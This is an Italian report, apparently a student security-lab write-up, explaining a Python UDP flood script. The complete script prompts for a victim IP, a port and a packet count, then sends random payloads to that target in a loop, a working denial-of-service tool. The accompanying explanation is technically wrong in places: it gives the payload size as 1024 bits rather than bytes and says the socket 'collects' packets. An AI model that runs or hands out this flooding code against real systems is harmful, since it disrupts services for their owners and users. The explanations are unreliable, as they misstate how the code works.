

Relazione Codice Python UDP Flood

Nella seguente immagine, viene illustrato il codice Python, per l'invio di pacchetti con protocollo UDP:

- Con i moduli import imposto il **socket** di rete e la scansione e l'invio **random** dei pacchetti di rete
- Scelgo delle variabili con il quale faccio partire un **input** di ogni comando e per far sì di ricevere in risposta un numero intero, inserisco **int** (numero intero in risposta)
- Definiamo la grandezza dei pacchetti in bit, impostando **1024 bit**
- Con **socket** (raccolta dei pacchetti di rete) vado a raccogliere il flusso di rete dei pacchetti con **protocollo UDP**
- Con **for i** in imposto il range dei pacchetti da inviare

```

1  #utilizzo i moduli import per impostare(socket,random)
2  import socket
3  import random
4
5  # Imposto l'indirizzo IP della vittima e la porta del target
6  ip = input("Inserisci IP target:")
7  porta = int(input("Inserisci la porta UDP:"))
8  pacchetti = int(input("Inserisci numero di pacchetti da inviare:"))
9
10 #definiamo la grandezza dei pacchetti
11 grandezza = random._urandom(1024)
12
13 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14
15 for i in range(pacchetti):
16     s.sendto(grandezza,(ip,porta))
17     print("Pacchetto inviato")
18

```

Nella seguente immagine, illustro il codice Python con relativa esecuzione (**Run**), come pulsante del terminale di Kali Linux

[illegible]

